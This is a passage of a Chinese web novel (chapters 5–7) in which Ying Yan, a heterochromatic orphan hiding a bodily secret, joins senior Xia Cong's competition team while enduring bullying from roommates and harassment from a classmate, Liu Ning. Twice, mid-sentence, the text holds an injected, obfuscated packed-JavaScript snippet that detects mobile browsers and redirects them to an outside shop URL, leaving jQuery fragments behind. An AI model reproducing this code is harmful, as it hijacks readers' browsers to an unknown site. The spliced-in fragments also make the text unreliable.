应晏对夏丛晃晃手机,逃避似的打开自己的房间门:“学长,我先去接电话,一会儿考虑过后给你答复。” “好。”夏丛目送他进屋,浅淡地笑了笑。 应晏贴在门背后,没有开灯,握着手机,闭眼做了个深呼吸。 隔着门板,他听到夏丛的门锁扣上。学长已经不在客厅了。 应晏睁开眼,点了接听。< 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舅舅就接着说教:“那就是你心里闹小矛盾了?小晏,跟同学要好好相处,知道吗?” “我没……”应晏下意识反驳,话到嘴边,却没心思再费力辩解,“我知道了。” 反正自己再有理,舅舅也会第一时间让他从自己身上找问题的。 “乖,”舅舅像个普通家长那样夸奖他,末了才切回正题,“你手上钱还够用吗?需不需要舅舅再给你打钱?” 应晏垂下眼皮:“够的,不用了,谢谢舅舅。” 真正想打钱的人,最多问一句还剩多少,而不是问“需不需要”。 那边沉默了一会儿:“好,缺钱了一定要跟舅舅说。” 应晏:“嗯。” “过年记得回家,多陪陪外婆。” “好。” 沉默。 “你现在在学习吗?那我不打扰你了,有事跟舅舅打电话。” “好,”应晏敷衍地应了一声,主动结束了电话,“舅舅拜拜。” 那头传来一声呼喊,舅舅匆匆应答:“诶,好,拜拜。” 拜都还没说完,应晏耳边就只剩下嘟嘟的忙音。 他终于松了一口气。 千里之外的舅舅估计也是如此。 应晏撑着地面站起来,开灯,收拾衣服走进浴室。 热水浇透他瓷白的身体,雾气将明眸沾得迷蒙。 从十二岁起,应晏就搬进了舅舅家。 寄人篱下的他自觉地收敛起小孩子玩闹的天性,学着长大、独立。 他总被夸懂事,只有他自己知道,父母离世的孩子,哪里还有能跟别人撒娇取闹的资本? 所以他接受这些夸奖,顺从地扮演着乖巧的好外甥。这是他在那个冰冷的房子里,唯一能为舅舅提供的价值。 高考结束后,他借住在外婆的家里,迎来了他的十八岁。 生日当天,舅舅特意找来外婆家。直截了当给了他一张卡,说是父母留给他的遗产。 “我一分没动,就等你长大了交给你。” 舅舅拍了拍他的头:“现在,小晏成年了,舅舅相信你可以处置好这些钱的,对吗?” 窄小的眼睛眯得看不清瞳仁,嘴角的弧度让应晏心寒。 他接过卡,对舅舅弯弯唇角:“我可以,谢谢舅舅。” 那个男人离开的背影如此决绝,应晏自此也知道,他再也不会跟这家人扯上关系了。 应晏的父亲是市里知名的美术家,母亲是小镇上的花艺师。他们卡里留下的钱足够应晏在大学里无忧无虑地生活。 ——如果应晏只是个普通人的话。 可是应晏需要钱。 他今天上班时看到刘宁坐在夏丛对面,也看到他们有一些交流。 他不知道刘宁跟夏丛说了什么,也不知道刘宁有没有说某些别的事情。 他宽慰自己,或许只是小组成员在讨论而已,证据是夏丛的目光注视着笔记本屏幕,神情严肃。 然而夏丛问他,要不要加入竞赛小组的时候。应晏第一时间就想起了刘宁的背影。 那一瞬间冷汗直流,他甚至差一点点就红着眼质问夏丛,你是不是在可怜我。 幸好忍住了。 无论夏丛说出哪个答案,他大概都会胡思乱想。所以他借着突如其来的电话,从坐立不安的境地抽离,只说考虑后给学长答复。 还需要考虑么? 花洒喷出的水漫过他的身体,从腿间滴落。应晏紧闭着眼,没有勇气直视自己。 那里有一处缺口,是应晏从小到大都拼命掩藏的秘密。 他想等到自己赚到足够的钱以后,就去做手术。 而竞赛得奖的两千块,尽管不多,也算得上是一笔很容易能拿到的钱。 他不能错过。 于是十分钟后,洗完澡带着满身茉莉香气躺在被窝中心的人,捧着手机滚了好几圈,才点开夏丛的聊天框。 应晏:[学长,我愿意。] 5. 第 5 章 房间外来回走动的脚步声停了。 几乎是下一秒,应晏收到回信。 夏丛:[好。] 随后,夏丛发来几张截图。 是大赛报名表,成员的最后一行加上了应晏的名字。 除此之外,还有小组参赛的课题,跟“3D打印”有关,再具体的内容很专业,应晏就看不懂了。 他没有在意这些,他需要关注的只有某些指标,在分析之前补补功课就够了。 应晏:[收到,谢谢学长。/玫瑰] 答应加入小组的第二天,应晏跟着夏丛去参加了周日下午的例会。 其实他不需要来。 夏丛说,他只需要跟夏丛交涉就好,不用跟别人沟通。 何况组里有应晏不想见到的人。 但应晏坚持要参加,他是后来通过夏丛的关系进组的,不想给队友留下不好的第一印象。 夏丛拗不过他,只好带他来。 不过,小组成员之间本来就互相不熟悉,叫不上名字也是正常的事。所以应晏不用做自我介绍。 他只是按人数买了奶茶,以“新成员”的名义给大家发出去,有心的人自己会翻报名表对照的。 阳光澄澈,空教室陆续进来了几个人。应晏的奶茶摆了大半张桌子,每来一个人,他就挤出明媚的笑,将奶茶递给对方。 苍白的脸色因此染上红晕,日色洇进的双眸,像是波光洒落蓝色的湖水。 “哇,谢谢!”领了奶茶的同学热情道谢,看到应晏的眼睛,先是愣了下,然后礼节性地笑笑,随便找个位置坐好。 大多数见到应晏的人都是这个反应,大家都成年了,不至于像小孩子那样指着他的眼睛说“你很奇怪”。 而这样坦然接受的态度,在无意间提醒应晏,你不一样。 他维持着微笑,直到门口透进来的光突然一暗。 带着某种戏谑的目光黏在他身上,应晏咬着唇转头。 握着奶茶的手骤然收紧。 他眼睁睁看着那个人走近,强装得镇定:“你好,我是新来的组员,这是请大家喝的奶茶。” 刘宁在他眼前站定。 迟迟没有接手。 刘宁眯着眼,将应晏上上下下来回扫视几遍,才故作亲昵地说:“没想到你真的加入了啊,应晏?” 他声音不大,却夸张,足够让教室里所有人听清:“昨天还跟夏学长说缺人来着,居然今天就邀请了你。” “还好你们很熟,不然我们哪有资格请到统计专业的第一名,是吧?” “……”台下已经响起了窃窃私语。 应晏睁大圆润的眼睛,不解道:“原来是你跟学长说的,我还奇怪老师为什么突然要我联系学长呢。” 应晏笑起来,把奶茶塞进刘宁手里:“谢谢你,我很珍惜这次机会!” 同学恍然大悟。 刘宁动了动嘴唇,脸上闪过一丝难堪。最后攥紧拳头,从鼻腔里溢出一声冷哼,阴沉着脸走下台去。 应晏则是借着桌面上立起来的电脑屏幕的遮挡,轻轻地呼了口气。 细碎的谈论声从走廊尽头渐渐靠近,两个人并肩出现在教室门外。 矮一点的那个连声说“好的好的谢谢学长”,对身旁高挑的夏丛弯了弯腰,进教室时,不经意间瞥到应晏一眼。 讶异转瞬即逝,对方只是朝应晏点点头,就找了个空座位坐下。 橙黄的天色底下,学长的身影逆着光,修长挺拔,缓缓朝黑板走来。 即使背着光,应晏都能从那道黑色的剪影里分辨出夏丛笑着的样子。 很熟悉的笑容。 夏丛把手里成叠的资料搁在台上,随手拿起一杯奶茶:“我的么?” “嗯!”应晏用力点头。 受到学长的感染,他也跟着牵起了嘴角。 夏丛就拍拍他的肩:“谢谢,下去坐着吧。” 嗓音含着明显的笑意,像外面铺开半边天的霞辉一样,暖融融地淌过心里。 应晏听话地走开。 这间只放了一张会议桌的教室里,唯有角落处还剩一个空座位。 左边的人极力埋着脸,长长的头发挡住半张脸,应晏走过来时,他很明显地朝另一边让了让。 右边的则是跟夏丛一起进教室的人,也是应晏之前的室友。他尴尬地挠挠后颈,对应晏露出个不好意思的笑。 会议在夏丛的主持下有条不紊地进行。 原本玩着手机的人还在玩手机。 只有偶尔需要发言时,才稍微抬一下头。 这是大学里司空见惯的冷漠。 应晏反而觉得自己身上的负担消失了。 冷漠点好……冷漠点,他就不需要费心思考怎么处理人际关系。 不知道是不是因为人多,刘宁尽管目光总是在应晏周围睃视,却终究没有当众找他的茬。 于是会议顺利结束,原本死气沉沉的教室里没多久就空了。 只有被吸得瘪瘪的奶茶杯,歪七扭八地倒在桌上。 应晏负责地想把自己带来的垃圾收拾掉,转头却听见不远处有人正在清扫。 是开会时坐在他左边的人。 应晏好奇地走过去,顺便把手头收集的空杯子扔进垃圾桶。 “今天是你值日么?” 甜软的嗓音,不带半点轻蔑,只听得出善意的关心和一丝迷茫。 打扫教室的人却如临大敌。 他下意识抬头看了眼应晏,随即迅速低头,扒了扒右侧的头发,将脸完全遮住。 匆匆地哼了一声:“嗯。” “哦。”应晏了然地点头。 虽然不理解对方为什么要躲,但他还是想加入会后的清理。 应晏挽起袖子,小心翼翼试探说:“那我帮……” 门外的脚步越来越近。 前室友出现在前门,听到应晏浑然不觉地跟人搭话,脸都吓紫了。 他冲进教室,挽着应晏的手臂,不容分说地把人拖走。 “诶?”应晏猝不及防踉跄几步,身不由己地跟着对方走出教室,“陈维之?” 小陈同学充耳不闻,肉乎乎的脸红了一半,哼哧哼哧地喘着气。 陈维之手劲太大了,应晏挣脱不开,白皙的手腕还被抓得生疼。 “你做什么呀?”声音里有些委屈。 陈维之愣是把应晏拽到走廊上,才搭着应晏的肩,朝里观察一下,压低声音说:“那个人脸上有烫伤,你这样跟他说话,他会紧张。” 应晏顿时安静下来,有种自己不小心犯了事的惶然,学着对方的样子,小声说:“对不起,我不知道……但是我只是想帮一下忙而已。” 陈维之声音更小了:“别去吧,你猜为什么大家都默认他打扫卫生。” 那是一种“普通人”对“不幸者”坐视旁观的高贵感。 因为他们没有缺陷,因为不会被任何人用异样的眼光打量。 所以习惯性排挤“异类”。 应晏太了解这种行为。 只是因为异瞳,他就一直在被忽视。如果自己身体的另一处缺口被人发现,他知道自己将会遭受更恶劣的冷待。 所以此刻,当他得知原因时,首先感受到的不是愤怒,而是悲哀。 他立刻睁大双眸,反驳道:“怎么可以这样?” 陈维之眼里透露出些许怜悯,手却依然阻挡着应晏的路。 “是不太好,但是……哎,应晏!” 瘦弱的男生像鱼一样灵活地溜走,陈维之抓了个空,在原地懊悔片刻,无奈地跟着应晏闯回教室。 明净的教室里,应晏从另一个男生手上接过垃圾袋,把地上显而易见的垃圾扔进去。 蹲在桌子底下,小小一团,仰头冲对方笑时,发丝被西沉的残阳照亮,异色的双瞳尤为显眼。 却叫人觉得,他本该是这样的。 劳作的两个人其乐融融,连那个总是看不见脸的男生,都罕见地露出半张脸,唇边挂着明显的笑意。 陈维之只觉得有些无地自容,主动加入了他们的行动。 三个人只需要几分钟就清理完会议制造的垃圾,剩下的就交给学校的保洁负责。 陈维之接了应晏递来的纸巾,抹一把头上的汗。 “刚好到饭点了,我们三个要不一起去食堂?” 应晏跟长发男生对视一眼,先后点头。 周日的饭点人不算多,三个人一进食堂,便时不时被路过的人打量,然后躲着走开。 一个长相精致的男生,却只有一边眼睛戴着蓝色美瞳。在他身后,跟着一个头发很长、乱七八糟挡住半边脸的男生和一个身材敦实的男生。 三个人汇成一个意想不到的组合,像一道独特的风景线。 饭菜的香气和嘈杂的人声萦绕在食堂里,陈维之盯着应晏看了好几眼,才郑重其事地放下筷子:“对不起,应晏。” “嗯? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146414|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”应晏疑惑抬头。 旁边的长发男生埋头干饭,没有对他们的聊天表现出任何兴趣。 陈维之就鼓起勇气说:“其实我对你没有偏见……但是因为他们太强势了,我怕被他们也孤立……” 应晏知道他说的什么事。 统计学的宿舍是四人间,应晏和陈维之,以及两个眼睛长在头顶上的同学,做了一整年的室友。 男生之间多多少少会开点小玩笑,比如趁对方洗澡或上厕所的时候,冲进那扇门里,给对方来个突然袭击。 比如叠着坐在腿间,做一些不雅观的动作。 应晏从来不会加入,也从来都把隔间的门锁得紧紧的,不给任何人偷袭的机会。 他太过小心翼翼,落在室友眼里,就成了“玩不起”,或者“装”。 再过分点,还有一个室友问,你不会是gay吧。 应晏摇头否认。 但无论他们信没有信,关系自然会疏远掉。 于是他的眼睛成了一个很好的借口,那两个室友会在背后议论他的蓝色眼睛,说是怪胎,说他活该没人理。 应晏不小心听到过,却没有争辩。 而陈维之,跟两个室友相处融洽,在他们非议应晏时,却总会闭嘴。 但无意间对应晏冷淡的态度,当然说明了他的立场。 可应晏没这样想过。 面对陈维之此时的道歉,他摇摇头说:“我理解的,你不用道歉,是我应该跟你说谢谢。” 陈维之不解,目光里还透露着些许惶恐。 应晏很认真地数:“查违规电器的时候,是你提醒我;他们想趁我洗澡的时候捣乱,是你在外面帮我拦着;我桌子上经常出现的小零食,应该是你偷偷分给我的吧?” 圆润的眼眸弯了弯,应晏真挚道:“你帮过我很多,也是唯一不觉得我奇怪的人。” “谢谢你。” 陈维之憨厚地笑了笑,面色赧然。 “我们是室友嘛,应该的。” 他眼神飘忽地多看了应晏几秒,像是突然间下定了决心:“我想清楚了,你又没有错,我不会像之前那样疏远你了。” 应晏不置可否地勾起唇角。 眼睛格外明亮,眉梢弯弯地说:“谢谢!” 夏天黑得晚,一行三人从饭堂里走出来的时候,时间悄然来到七点。 一路上不发一言的长发男,终于在道别后,趁陈维之走远,扯住应晏的衣袖,说了第一句话。 “那个……同学,我可以加你微信吗?” 应晏没有意见:“好呀。”他大方地亮出自己的码。 “滴”一声提示音后,应晏收到了一条好友申请。 一个黑白的、冷酷的动漫男头,右侧的脸上带着很明显的刀疤。 应晏指尖停留一瞬,眨了眨眼,接着去看对方的昵称。 AAA牛尾刀打造王师傅。 没记错的话,头像上这个男人就是一个以牛首刀为武器的某王姓江湖杀手。 随着好友申请一起发过来的,还有一段留言:[我是汤文。] 汤文眼巴巴等到应晏通过了申请,看上去像是心里的石头落了地。 “汤文,”应晏飞快地在键盘上打出名字,确认备注以后,扬起嘴角,“我记住了。” 快到上班时间了,应晏加完新朋友,就打算撤退:“下次见!” 汤文的头发把烫伤完全遮住,说话的声音也显得有些模糊:“好。” 依旧惜字如金,但应晏很能理解。于是他挥挥手,轻快的身影很快消失在道路尽头。 聊天框里,跳出几条新的消息。 汤文:[今天谢谢你,你人真好。] 汤文:[也很勇敢。] 发送完两句话,汤文反而先不自在起来。 幸好,应晏的回复很快。 应晏:[你也可以很勇敢。] ……也可以么? 汤文收起手机,明明对应晏的语句持怀疑态度,他的嘴角却不由自主地扬起。 他正要离开,拐角处倏地冒出个人影,非常有目的性地拦住他的去路。 眉钉反射着寒冷的光,笑得吊儿郎当。 是会议前找应晏茬的那个人。 叫刘宁。 汤文心里打着鼓,绕过对方。 刘宁却再次拦住他。 “你跟应晏关系不错?” “我有点事,想求你帮忙。” 6. 第 6 章 周一,早八,《多元统计分析》。 一个听起来很让人痛苦的组合。 教室里飘逸着饭堂早点的气味,吃饱喝足的大学生听着老师的天书,手机陆陆续续掉到课本上。 睡了一大片。 应晏揉了揉眼睛,强撑着精神跟上老师的思路,在困意的作用下,记在平板里的笔记歪歪扭扭。 但起码能看出写了什么。 下课前两分钟,教室里响起一阵收拾书包的声音。 老师抿了口茶,慢条斯理地把PPT划到下一页。 “小组作业”四个大字方方正正地显示在顶端。 应晏心里咯噔一下。 他已经能想象到,自己为了小组作业,挨个点开同学的私信,去问能不能加他一个。 虽然最后总能有人接受他,但字字斟酌还要考虑加几个卖萌表情包这种事情对他来说真的好难! 下一节课在另一栋教学楼,有几个同学甚至在赶去教室的路上就商量好了分组。 依次进入教室、占座。 应晏最后坐在第一排,很少有人愿意坐的位置。 他倒觉得还不错,有一种老师只给他讲课的感觉。 离上课还有十来分钟,老师还没到。 班长在群里发了文档,好几个组好的小组很快就填满了名字。 应晏环顾四周,跟正巧坐在后排的前室友对上目光。 那人立刻移开视线,不屑地冷笑一声。 而他旁边,正是昨晚跟应晏吃过饭的陈维之。 看到应晏小心垂下的眼皮,陈维之连忙带着安慰地邀请:“对了应晏,你加入我们组么?刚好八个。” 老师的要求是6~8人一组,加上应晏正好满人。 但某两个室友明显不可能答应。 应晏对陈维之感激一笑,正想摇头。 前室友就先他一步,白眼乱飞地拒绝:“我们组人够了,多一个什么都不干的有用么?小心有些人浑水摸鱼,最后拿的分还跟你一样。” 陈维之对他的话感到震惊:“什么叫浑水摸鱼?在寝室的时候,应晏没少帮你忙吧。” 玩手机的教室很安静。 这边略显激动的氛围就格外突出。 不少人切了相机开始录视频。 见状,那个排挤应晏的室友气焰更嚣张:“哦?原来他叫应晏?我还以为哪来的怪胎呢。” 应晏呼吸一滞。 尽管从小听到大,他却总是会被这个充满恶意的词汇刺痛。 周遭的一切仿佛都淡去了,只有他自己,无措地坐在原地,受到所有人审判的眼光。 细瘦的手指不自觉收紧,掌心被自己掐出几枚月牙形的印记。 “……” 他们的争执还在继续。 字句缓缓飘进应晏的耳朵。 “到底谁才是你室友,这么喜欢他你就自己跟他一组呗,我们六个人也够了。” 陈维之:“组就组!”因为体型,他的动作总显得慢半拍,此刻却像是被室友激怒,最后喊出来的这句话都多了几分气势。 “行了,别吵了。”一个女声忽然加入。 应晏身形一顿,木然的目光渐渐转向她。 哦,是班长,也是经常接受他加入小组的女生。 班长警示性地瞪了前室友们一眼,出言讥讽:“总是强调别人与众不同来彰显优越感,只会显得自己很普通。” 说完,她没有理会对方的反应,停在应晏的座位前,微微弯腰:“应晏,跟我们一组吧,就你一个男生的话,打印资料之类的累活就拜托你啦。” 应晏点点头,眼里终于重新亮起了光:“好,谢谢你。” 班长大方挥手说不客气,没有停留,回到座位上。 身后消停许久的人再次冷嗤。 “嘁,长得这么娘,还喜欢跟女生一起混。别是个gay吧。” 另一个人附和:“咦~还好搬出去了,万一偷偷喜欢上我们寝室里的谁……” “啪。”拍桌子的声音。 或许是坐在那两个人旁边的女生也听不下去了:“有些人不照镜子看看自己什么样,只知道意淫别人喜欢自己,呸!我要是有这么普信还只生了这种磕碜的脸,我做梦都要上吊!” 鸦雀无声。 诡异的寂静持续到老师来,又持续到老师走。 而敲屏幕的嗒嗒声没有一秒钟停过。 早课结束了。 同学们鱼贯而出,涌去食堂。 路上偶尔夹杂着一种植物的惊叹。 应晏追着老师问了几个问题,才回到座位收拾课本,准备回出租屋睡个午觉。 从学校到出租屋,差不多二十分钟,外卖刚好能送到。 应晏边走边挑午餐,挑得眼花了,最终订了一种家乡菜。 这种时候吃到家乡的味道,心情会好很多。 从电梯口出来,外卖恰好放在储物柜上。应晏提起包装袋,摸钥匙的时候,看到新朋友发来的消息。 汤文:[应晏,周三下午一点半,我们会开实验设计的研讨会,你会来么?] 周三下午是公休,学校的社团活动和各种竞赛几乎都会挑在这个时间举行。 应晏算了算,自己那会儿没有任务。 于是他低下头,回复:[我会来的,周三见!] 他收起手机,钥匙刚插进锁孔,门就从里面打开了。 高高的夏丛跟不矮的应晏四目相对。 学长自然地露出笑容:“回来了。” 应晏拔出钥匙,塞回口袋:“嗯!” 夏丛朝门边让出一步,等应晏进了门,自己才迈步到门外。 电梯还停在这层楼,夏丛踩了进去。 应晏估摸着自己跟夏丛的关系还只是点头之交而已,他没打算打招呼,把自己藏在门背后,随着合拢的电梯,缓缓拉上门。 门缝变暗的刹那,他听见夏丛很有活力的声音:“再见。” 应晏手一抖,老旧的门发出嘎吱响声。 他趁电梯彻底闭合之前,对夏丛回答:“学长再见。” 显示屏上的数字平稳下降,应晏的心率也慢慢恢复平静。 他没有问学长关于周三研讨会的事。 因为夏丛说过,他不需要参加。 但这次是朋友邀请……应晏把汤文当成新朋友,好不容易结交到的、与自己相似的新朋友。 他很愿意去参加这场自己或许听不懂的会议。 两天后,周三下午。 会议时间是一点半,应晏提前半小时出发,踩着开始前两分钟到了会议地点。 露台上的阳光刺得人睁不开眼,应晏退到房檐下,借一小片阴凉,对照着汤文发来的消息,确认自己没有找错。 可露台一片空旷,校园中央的湖水映出粼粼波光,却不见半个人影。 对啊,以夏丛的性格,会议怎么会在露台开? 应晏后知后觉地反应过来,他下意识以为是汤文把发给别人的消息误发给了他。 于是一边走下楼梯间,一边在聊天框输入文字: [你是不是发错地点了?我刚刚] …… 视野被某种金属的光刺了一下,闷得令人头晕的香水味闯入鼻腔。 应晏打字的指尖一顿。 猝不及防地抬起眼。 “哦,来这么早!”那个人像是早有预料,眼神里没有惊讶,只有一切尽在自己掌握的得意感。 应晏浑身的血仿佛都凝固了。 嘴角下垂着,眉心不悦地拧起。 但似乎没有足够的勇气去恨,所以两只圆润的杏眼里,只是闪着湿润的雾气,显得可怜巴巴。 应晏生硬地说:“是你骗我来的。” 刘宁挑起眉,并不回应这句显而易见的指控。 他只是推开靠近花坛的一把椅子,弯腰拍了拍灰,对应晏做了个“请”的动作:“我这可不算骗,会议地点在下一层楼,201,两点开始,我只是想提前见你一面而已。” 应晏待在原地没动。 刘宁刻意找他见面,当然不会有什么好事。 他微微抿起唇,仿佛在苦恼要怎么脱身。 刘宁:“坐啊,要我扶你过来?” 应晏一口回绝:“不用了。” 见状,刘宁也不强求。而是放弃了邀请应晏享受阳光的想法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146415|196389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓朝应晏走近。 应晏步步后退。 刘宁恶劣地笑着,语句却诚恳:“应晏,你为什么这么讨厌我?” “我们明明是最好的朋友啊,你不记得么?你这样看见我就跑,我很伤心呢。” 语调缓慢,称得上温和,应晏反而听得后背发凉。 就像一只不安好心的黄鼠狼,披上谦逊的皮靠近猎物。 只要得手,就回原形毕露,变回狰狞的模样。 九月份的气温很高,应晏却渗出了一身冷汗。 他紧闭着唇,一味地后退。 在他被逼到台阶处,即将踏空的时候,刘宁停住了脚步,随即抬起双手表示投降。 “你看,我都舍不得让你踩空摔倒,怎么会害你?” 应晏起了一身鸡皮疙瘩。 尤其是听到楼下响起纷乱脚步的瞬间。 他甚至想就这样飞奔下去,混入人群里,趁乱逃走。 可那些脚步都涌向同一个目的地,应晏听到了椅子拖动的声音。 刘宁继续念经:“应晏,”他说着,趁应晏分心,抓住了应晏的手腕,“我对你没有恶意,我发誓。” 应晏轻轻喊了声疼,细密的睫毛扑闪扑闪。 刘宁没有松开,反而攥得更紧。 “应晏,除了我,你真的觉得还有别人会不在意你的眼睛么?” 踢踢踏踏的脚步声猛地加快。 应晏闻言一愣,就像被掐住后脖颈的小猫,连挣扎都忘记了。 他被掐住的是手腕。 不可否认的是,尽管他极力忽视自己的眼睛带给别人的惊异,他也骗不了自己。 他的确非常害怕,自己偶然间会听到别人谈论他,用的代称是“那个怪胎”。 十八年来早该听习惯了,他依然忍不住难过。 手腕上的力道突然松了。 然后应晏看到一道背影闪在自己面前,而刘宁龇牙咧嘴,手臂被反剪在背后。 略带笑意的嗓音,低沉、温润,却多了几分令人退缩的气势:“怎么会没有?” “比起不在意,应该说,会很羡慕他的眼睛。”说着,这个人回头,对应晏灿烂地笑着。 压制别人的力道明明很重,脸上却一点都没有显示出来。 那样的笑容不知不觉间很熟悉了。 以至于即使逆着光,轮廓闪着太阳的金边,应晏也能一眼认出来。 “夏学长,谢谢你。” 应晏揉着被掐疼的手腕。 白皙的皮肤,很容易留下痕迹。被刘宁抓过的地方明显地浮起粉红的指印。 “怎么总跟我说谢谢?”夏丛的视线在那上面停留片刻,温声哄劝,“你先走吧。” 应晏短暂愣了一下。他确实一直接受夏丛的帮助,前一次还没来得及报答,就被夏丛帮了一次又一次。 男生捂着手腕下了楼,影子在墙面一闪而过。 露台旁的夏丛松开刘宁,目送应晏离开后,活动了下脖子。 随后,漆黑的眼眸看向刘宁,像是一种警示。 “你应该知道,应晏不想见你。”夏丛说。 刘宁毫不在意地笑了笑:“所以我在挽回。” 夏丛顿了顿,似乎觉得以自己的身份不好插手太多,便朝楼梯间扬了扬下巴:“开会吧。” 修长的腿踏下第一个台阶。 刘宁摸着下巴,不知道在想些什么。 他对着那个高挺的背影,忽然叫住了对方:“你难道不好奇,我跟应晏有过什么吗?” 利落的步伐止住。 夏丛回过头,没有掩饰地承认:“好奇。” 视线缓缓上抬,夏丛挑眉笑了笑,意有所指道:“但我不会像你一样,指着那点事情翻来覆去地讲。” 他说完,目光沉了沉,笑意却未减。 夏丛非常干脆地转过身,撑在扶手上,飞一般地滑到台阶底部。 刘宁被他的话挤兑得噎住,脸上有点挂不住。 等他咂摸出某些意味,又反过来问:“不一样么?” 他抱着手臂,邪气地笑着,眉钉张扬地宣示着他内心的确信:“我还以为你跟我一样,也喜欢应晏呢。” 7. 第 7 章 应晏垂着脑袋,数着台阶,朝201走去。 他想不通刘宁为什么总缠着他。 在重逢之前,应晏早就决定把这段经历抛在脑后。 可偏偏刘宁阴魂不散。 “应晏?”突如其来的呼唤拉回了他的思绪。 声音从下一层的楼梯传来,应晏循声望过去,便想起了手机里打到一半还没发出去的信息。 “汤文。”应晏对他扬起嘴角,脚步自然地转了个弯,下去迎接这位新朋友。 从刚才刘宁的话里,应晏知道这场见面是对方一手策划的。而汤文是发送错误消息,引导应晏过来的中间人。 可他愿意相信,自己的新朋友只是被刘宁欺骗或威胁而已。 所以他笑得毫无芥蒂。 汤文手上握着两杯奶茶,气喘吁吁地跑上来,分给应晏一杯。 “你脸色怎么不太好?”接奶茶时,汤文眼尖地看到应晏手腕上的指印,关切道,“手又是怎么回事?” 应晏摆摆手:“没事。” 他能感觉到汤文的善意,于是完全相信了对方,不经意问:“对了,你给我发的会议地点是不是发错了?我刚刚才知道,是两点整在201。” 应晏说话时带着一点对陌生人的羞涩,但眼睛像从前一样亮,盈满笑意。 汤文尴尬地挠挠头:“不是啊,是刘宁突然找到我,说有事想见你。” 他看见应晏明显怔愣的表情,联想到后者手腕上的指痕,恍然大悟道:“是他弄的么!你们聊得不愉快啊……” “对不起,我其实看出来你们关系不好,毕竟那天他那么找你茬,”汤文一垂头,长发就披散下来,挡住了整张脸,真诚地忏悔道,“可是他跟我说,想和你道歉,还说有别的事情,我是看他说得特别着急才相信的。” 汤文:“我想着就半个小时而已,应该没有问题,而且我不放心,一点半的时候也来了,但是他看到我,就说你想喝奶茶,让我去买。” 汤文再次道歉:“对不起,如果早知道他这样,我肯定不会帮他。” 吸管被应晏咬得弯折,顶端布满牙印。 了解完前因后果,他当然不会再指责自己的朋友。 汤文的声音越说越低,是知错的表现。 所以他大度地揭过这个话题:“没关系,好像快到时间了,我们先进去吧。” 他走出几步,却没有听到身后的人跟上来。 迟疑着回头望去,只见汤文捏了捏手指:“不过应晏啊……” “嗯?”应晏歪头。 汤文吞吞吐吐地问:“你应该不喜欢男的吧?” 应晏首先怀疑自己听错了。 然后意识到,汤文在等他的答复。 虽然不知道为什么会问,但应晏诚实地点点头。 只是声线有些发颤:“当然啦,”应晏笑得笃定,颊边的梨涡浅浅地浮现,“我是直的。” 他不算说谎。 因为没有喜欢过任何人,所以不知道自己的取向。 只是觉得这样回答或许会减少很多不必要的麻烦。 汤文像是松了一口气:“那就好。” 他几步追上应晏的步伐:“你放心,我以后不会联系那个人了。” 两人并肩走到二楼的平台,正拐过转角,右侧就出现一前一后两道人影。 夏丛和刘宁。 一个笑得灿烂,另一个阴沉着脸。 只是,应晏感觉到,夏丛看他的眼神似乎带着某种探究,或者说好奇。 那样的神色转瞬即逝,快得像是应晏的错觉。 夏丛对汤文说:“进去吧。” 随后拍了拍应晏的肩:“你也要去么?” 应晏点头。 夏丛没有阻止,勾唇对他颔首:“好。” 会议果然像应晏设想的一样,都是些专业性的词语,他只能迷迷糊糊地听懂一半。 控制不住想要分心玩手机的时候,夏丛忽然叫了他一声,给他布置任务: “应晏的话,你和陈维之一起,做一下数据、误差分析,还有结论和实验报告之类,具体工作你们自己分配,实验数据会发给你们。” 应晏点头表示自己知道了,随即寻找陈维之的视线。 因为现在在分配任务,他们并不严肃。陈维之找几个人换了位置,坐到应晏旁边。 陈维之用只有他们两个人能听见的音量说:“实验要做很多次,我们就一人做一次分析怎么样,另外一个人就负责检查和实验报告。” 应晏没有异议,于是低声答好。 夏丛宣布了散会,人群一时流动起来。 应晏想了想,郑重地说:“今天早上的事,谢谢你帮我说话。” 陈维之瞬间明白,应晏是说小组作业的事。他大手一摆:“多大事,应该的。我不是说了么,你又没错。” 话是这么说,但应晏知道因为这件事,原本尚且能维持表面和谐的寝室,或许要明着吵架了。 他有些愧疚:“你不用做到这个地步,你跟他们毕竟还要住三年……” 陈维之:“大不了像你一样搬出去呗。好了不说这个,我现在肯定不跟他们一组了,你们小组带我一个可以吧?” 应晏成功被带偏,顺着陈维之的话掏出手机:“好,我问问班长。” 骨节泛着淡粉的手指,在通讯录里下滑,找到班长的头像,点进去,开始编辑。 余光里,陈维之往旁边让开一步,一片阴影朝他压了过来。 “应晏。” 他没有防备地抬起头,就看见夏丛不知道什么时候走到他面前来。 学长微微俯着身,墨色的双眼噙着笑,直直望进应晏的眼睛里。 “晚上有课么?没有的话坐我车一起回去吧。” “没有课,”应晏说着,欢喜地弯起眼角,“我特意避开今晚的课没选。” 周三下午公休,晚上再没课的话,就能空出半天的时间归自己支配。 夏丛偏开头,笑的时候喉结上下颤了颤。 夏丛:“你是去酒吧还是回家?” 应晏还是不适应“家”这个说法,含糊地回答:“回去吧,我只有周五到周日才上班。” “好。”夏丛对陈维之挥手,转而拍拍应晏的头发,“你们还有事聊?” 陈维之的神情活像是见鬼一样,目瞪口呆地在两人身上 